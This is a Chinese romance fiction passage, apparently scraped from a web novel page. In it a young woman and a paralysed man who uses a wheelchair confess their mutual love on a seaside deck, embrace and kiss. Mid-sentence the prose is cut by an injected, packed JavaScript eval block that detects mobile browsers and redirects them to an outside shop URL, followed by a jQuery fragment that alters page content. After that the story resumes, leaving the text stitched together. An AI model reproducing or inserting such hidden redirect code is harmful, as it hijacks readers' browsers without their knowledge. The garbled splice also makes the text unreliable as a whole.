海风从海面一路扫过,掠过露台的玻璃和栏杆,把嵌入的灯带吹成一条轻轻摇晃的线。水屋底下的海浪随风拍着桁架。夜深,浪花的边绽放着一圈白,又很快被黑暗收拢回去。
许尽欢侧身窝在屋外的秋千椅上,半躺半坐,膝弯搭在软垫上,长裙下摆落成一摊安静的波纹。她指间夹着一支烟,白皙修长的指尖火星明灭,呼出去的白烟被海风拆到看不见,留下很淡的苦味。电脑屏幕在屋里亮着,电视剧传来的背景音压得极低,像远处有人小声讲故事。她的眼睛顺着一条条海浪线发呆,像在看一部没有结尾的电影。
轮椅的轮子在木板上碾过时没有留下任何纹路,纪允川停在她对面,背着海面上的月光被灯带描出一道薄亮。
背着月光,正对室内的落地灯。
光影似乎十分偏爱他,勾勒出俊俏的模样。许尽欢安静地欣赏着眼前的帅哥,何尝不算一种精神夜宵。
纪允川的大拇指和食指反复揉搓着大腿上的布料。亚麻这种面料生来脾气不太好,被他揉了半晚,早起了球,细细一团团,像是风把盐晒成小白疙瘩,顽固地贴在上面。指腹磨过那些小疙瘩,他的呼吸也跟着有了轻微的起伏。他喉结动了动。
终于打算开口了。
许尽欢轻笑。
“你……你可不可以给我个机会让我追你?”他说得很轻,话一出口,他的肩膀像被自己惊了一下立刻紧绷,耳后也热,于是开始连忙找补,“算了,你别在意,我刚刚可能抽……”风了……
“行啊。”她懒懒地回,语气像海风,擦着纪允川耳廓而过,带着漫不经心的温度。
“什——么!?”他抬头,眼睛里亮得不讲理。
许尽欢被他这一嗓子吓得身形一抖,烟灰跟着一抖,从指尖轻轻落在烟灰缸外,落在黑木板上散开一小圈,像一朵被风按扁了的雪。她皱眉,伸手去抽餐巾纸,声音平平:“这位朋友,晚上十点了。你这一嗓子把寄居蟹都喊起床了。”
“你刚刚说什么!你是不是答应我让我追你了!”他压低声音,还是压不住,尾音扬起,面露惊喜。
“我刚刚说,你不用追。”她把纸巾叠好,低头把散开的烟灰一点点往灰缸里拢,白纸在黑木板上推开一条小小的轨迹。她抬眼,看着眼前这位宕机到读取失败的活人雕塑,眼尾轻轻一弯,“因为我也喜欢你,所以不用追。”
这句话落下的瞬间,时间像被暂停了一秒。然后所有的声音又同时回来。海的呼吸、风铃的叮当作响、桌角香薰蜡烛的炷芯被风咬了一口后重新燃起来的细小“噗”声。许尽欢站起来,把纸巾扔进垃圾桶,转头想说点什么的时候,被眼前的画面吓了一跳。
纪允川的眼圈已经红透,像刚被热蒸汽熏过。眼泪不讲理地往下掉,砸在他的腿上。大颗大颗的,砸出一圈一圈深色的水痕,刚好落在那片被揉搓起球的亚麻上。每一滴都是“啪嗒”一下。
许尽欢又开始不合时宜地发散着脑海冒出的想法,纪允川如果是美人鱼,他哭出来的珍珠肯定又大又圆。
她顿了顿,她不擅长处理眼泪的人,都快被纪允川这个哭泣包给哭脱敏了……
她默默叹了口气,把只抽了一半的烟按灭,半支烟在烟灰缸里蜷成一个小小的弧。她又抽了几张纸巾,蹲下在他轮椅边,动作轻得像在修复文物。
“祖宗,你怎么跟个水龙头似的。”她小声,语调里是极浅的无奈。
纸巾碰到他的眼角,水立刻爬上来,把纸巾的边浸软。她换了一边,继续擦,耐心得出奇。
她抬眼看他,纪允川低着头,浓密的睫毛湿得像被露水压着的松针,挂着一两个抖不掉的小水珠。她叹气,又抽一张纸,轻轻按住他的下睫。
“活爹,你别哭了,我害怕。”
但手上动作还是没停,像幼儿园老师给学生擦脸,动作仔细到有点笨拙。
纪允川吸了一下鼻子,像被她无奈的话逗笑,又笑不出来。喉咙里“嗯”了一声,哑的。他眼泪还是在往下掉,像卡了壳的阀门,还没找到关的位置。他努力想停,停不住,又努力想解释,也不知道从何开口,解释不了。
最后只能又吸一口气,声音很轻地语无伦次:“我……我没事。我就是……”
“就是现在想哭一下。”许尽欢温柔地笑着说。
他抬了下眼,仔细地看着许尽欢的神色。
许尽欢正在认真而努力地给纪允川小朋友擦眼泪,留最后一滴在眼尾,没急着碰,让它自己慢慢滑到颧骨,停住。她伸指腹轻轻点一下,指腹的温度隔着柔软的餐巾纸落在纪允川的脸上。
她停了停,发现这位小朋友终于不哭了,松了口气。起身坐回秋千椅。风从她耳边过去,耳饰轻轻碰到脖颈,又被风拨回。
“被别人看到了的话,说不定以为我在欺负你。”许尽欢笑着望向鼻尖眼尾都殷红的纪允川,“原来你是眼泪做的呀。”
纪允川被逗笑,笑眼里还带着潋滟的水光。他抬眼看她,又立刻躲开,目光重新落到她的手上。他的手指轻轻动了动,像想抓什么,又不敢。
“可不可以抱一下?”他问,声音很小,语气里还有点紧张,“我……我想……”
他没把后半句说完,像觉得多余。许尽欢被他这句问得弯了弯眼。
她忽然想起上回去了小狗乐园,被小萨摩耶撞到的插曲,低低“嗯”了一声,索性原样复制了一次。
她侧坐到他腿上,把裙摆往后理了理,避免被轮椅的轮轴绊住。她很轻地把重量一点一点放在他的腿上。她跨过踏板的外沿边缘时注意了一下,轮子上像自行车轮子那样的窄窄的金属边,很凉,碰到脚踝会麻。她把脚尖抬了抬,避过去,这些动作把她整个人慢慢放进他的怀里。
她的胳膊从他肩背后绕过去,落到他的后颈,指腹按着那里短短的发茬。她靠上去,像找到一个刚好合身的懒人沙发,懒散地靠着。
两个人的肩和胸口贴合的地方只隔一层布,她能听见他的心跳又快又乱,像被海风一阵一阵吹起的风铃。她把下巴搭在他的颈窝,呼吸擦过他的皮肤。
纪允川几乎是下意识收紧手臂,像被人允许了什么。拥抱嵌合的瞬间,又在下一秒松了点力,像在手里捧一只易碎的瓷杯。
他害怕自己不够分寸,怕抱疼了许尽欢,怕让她不舒服,怕……他什么都怕。
“用力点。”许尽欢没有抬头,声音从他的颈窝传出来,带着一点点困乏后的耽溺,“纪允川,我喜欢被人紧紧抱着。”
纪允川此刻什么话也说不出,只是照做。手臂重新收紧,力量不再试探,像把一个人真正按进自己的身体里。一瞬间,他甚至觉得自己的背脊都被按直了,胸腔被填满,飘在空中的心脏也一下子落了地。
他闻到了许尽欢身上的淡淡花香,好像是玫瑰花的香气。
害怕后知后觉地袭来,纪允川祈祷着自己的身体一定要争气,不要在这种时刻痉挛,也不要在这种时刻失禁。
他知道亲密关系需要信任和坦诚,但是他不想让她在答应自己告白的第一天就意识到这些麻烦。
许尽欢其实早就都看在眼里,她稍微挪了挪,给他的腿留出一点点活动的缝,裙摆垂下来,轻轻蹭过踏板边缘,落出的褶像一朵花瓣刚落地。
她抱得很紧。她真的很喜欢被抱着。先是肩,再是胸口,再是下巴,然后是呼吸。
她把自己塞进他怀里,像把一把锈迹斑斑的钥匙慢慢插进一把陈年的锁。
她闻到他衬衫被夜风吹凉后的棉麻味,混着一点洗衣水的香,干净的。然后她很不明显地嗅了嗅,像抱抱把脸埋到喜欢的毛毯里。
纪允川抱着她,忽然有一点点手忙脚乱,又不舍得松开。他的手往上挪,落到她背上,隔着布料慢慢地、很轻地来回摩挲。手掌的温度一点点烫起来。她的皮肤薄,肩胛骨的线条在布下很明显。
她太瘦了,瘦到抱起来的时候,会生出一种不小心就会弄坏的错觉。
他本能地去确认她有没有不舒服,低头想看她的表情,结果只看见她的一截耳饰从发丝间露出来,微微摇晃。纪允川的鼻尖擦过她的发,有些痒。
“我……”他想说什么,没组织好,喉咙里打了一个不合时宜的小结。他笑了一下,笑到一半被自己的鼻音出卖,尾音软得一塌糊涂。
“还有很多时间,你慢慢想。”许尽欢的声音很轻,哄孩子似的揉了揉纪允川的脑袋。
纪允川真的慢慢想着,久到露台的香薰蜡烛的那点蜡油聚成半杯反光的水镜,久到她的呼吸在他的颈窝里变得稳定,呼吸的温度一下一下地烫成一个被标记过的地方,久到他也不再觉得自己在落海的边上,心跳从一开始的潮水一样的乱,慢慢变成在岸上唱起了歌。
风不时从他们背后穿过去,把她的一两缕发丝吹起来,又铺回他的肩上。她的手指偶尔动一下,在他后颈那部分皮肤上轻轻擦过。他觉得自己此刻如果有尾巴,大概会摇成螺旋桨。
不知道过去了多久。纪允川的鼻尖也红,耳朵更红。他想低头把红藏起来,又觉得没必要。夜晚的海看上去很大,应该容得下这些窘迫。
没人的秋千椅随着海风轻轻晃,幅度很小。坐了两个人的轮椅金属边缘
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599515|186510||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
和地上的木板摩擦出一声很轻的“吱”。
“你刚刚……”他还是没忍住,想确认一次,生怕自己听错,“你说喜欢我,是不是……真的?”
“我都抱着你了,这很真了。”许尽欢没抬头,声音从布料和皮肤之间穿过去,闷闷的,却清楚。
他“哦”了一声,许尽欢的呼吸落在他心口。他想笑,又觉得此刻莫名其妙笑起来太傻,很影响自己的形象,于是只在心里笑,他把头偏过去,小心翼翼地额角碰了一下她的发,窃喜着。
他有点想对许尽欢说“谢谢”,又觉得这两个字好像在亵渎许尽欢。他斟酌着,最后开口:“许尽欢,我好高兴。”
“嗯。”许尽欢的声音懒洋洋的,“确认了我们相互喜欢,我也很高兴。”
纪允川收紧了手臂,许尽欢微凉的脸颊贴上了他滚烫的脖颈:“好喜欢,真的好喜欢你。”
“你是不是很高?”她忽然开口,声音还是那样轻,话题转移得让人猝不及防。
他被逗了一下,笑声从胸腔里溢出来,靠着她的时候更明显。他笑着认真地“嗯”了一下:“算高吧,大学毕业之后体检测了有一米八八。”
许尽欢在他肩窝闻了一下,像小猫确认自己的领地。她没说话,把下巴更稳地搁好,换了个更舒服的角度。她其实不属于需要人接住的类型,但偶尔这样还不错。
“怪不得……”许尽欢咕哝。
许尽欢在纪允川的怀里彻底放松了身体,行吧,人不就活这几个瞬间。
她的眼睛慢慢眯起来,眼尾被夜色衬得更温柔一点。
屋内的背景音忽大忽小,被风吹到门缝里,传来一段熟悉到不必看也能跟念的台词。
“你还哭吗?”许尽欢在温暖而宽阔的怀抱里感受到了困意,挣扎着坐直。
“不哭了。”他很认真地回答,然后转了转眼珠,“暂时。”
这个“暂时”很诚实,诚实很好。她喜欢诚实的东西。
诚实的海、诚实的月亮、诚实的拥抱,还有诚实的人。
大概因为她总是为了避免麻烦和解释总是随口说一些谎话,她很敬佩诚实的人。
秋千椅晃了一下,停住。露台另一角的香薰杯里冒出一条直直的烟,向上,几乎要和夜里的某颗星接上。风路过,烟弯了弯,飘散开来。
“我这样坐在你腿上你会不舒服吗?”许尽欢正色道。
纪允川下意识拢住许尽欢坐直的身体:“我有两个版本的回答。”
“先说第一个版本。”许尽欢眉眼弯弯,手搭在他的肩膀上说。
“不会不舒服,抱着你我很开心,很幸福。”纪允川一字一句地慢慢说。
“第二个版本呢?”许尽欢有点好奇。
“我的腿没感觉啦,但抱着你真的很开心。”纪允川笑的开朗。
他忽然想起来一点什么,他想说“我喜欢你好多年了”。
不过想到“好多年”这三个字,觉得它好像有些沉重,会把此刻的轻松变得拥挤。
最后决定闭口不谈。
许尽欢看上去对两个版本的答案都很满意,轻声问:“困吗。”
“不困。”他回答,又立刻补了句,“不太困。”
她轻笑了一下,又安静下来。重新把下巴颏搭在纪允川肩膀上::“真好。”
她垂眼,看他锁骨的线条被衬衫的布料挡了一半。她想了想,把下巴换了个位置,搭得更舒服一点。他的耳朵还在红,她的手指在他耳垂摸了一下。
“许尽欢。”他叫她。
“嗯?”
“谢谢。”他最终还是找回了这个词,轻得像一片落叶。
谢谢你让我从高中开始的暗恋如愿以偿。
谢谢你赠予我如此盛大的欢喜。
谢谢你接受了残缺不全的我。
谢谢你也喜欢我。
许尽欢却觉得别扭,而且她有点困了。
既然是纪允川先开口告白了,那她也应该做点什么。
在零点的前几秒,许尽欢抚着纪允川的后脑勺,送上了一个吻。
纪允川感受到怀里女孩的动作还以为是自己瘫痪后多少肌肉萎缩了些许的腿让许尽欢坐着不舒服了,刚想道歉,但唇上随即迎上一片柔软。
他几乎是瞬间瞪大了双眼,怔怔地看着视线范围中许尽欢放大的眉眼,他第一次知道,原来人类惊喜到了一定程度后,唯一的反应是呆滞,和不知所措。
唇齿碰撞的瞬间,许尽欢又抽离了思绪。
浑身都很暖和的纪允川,嘴唇原来是有点凉的。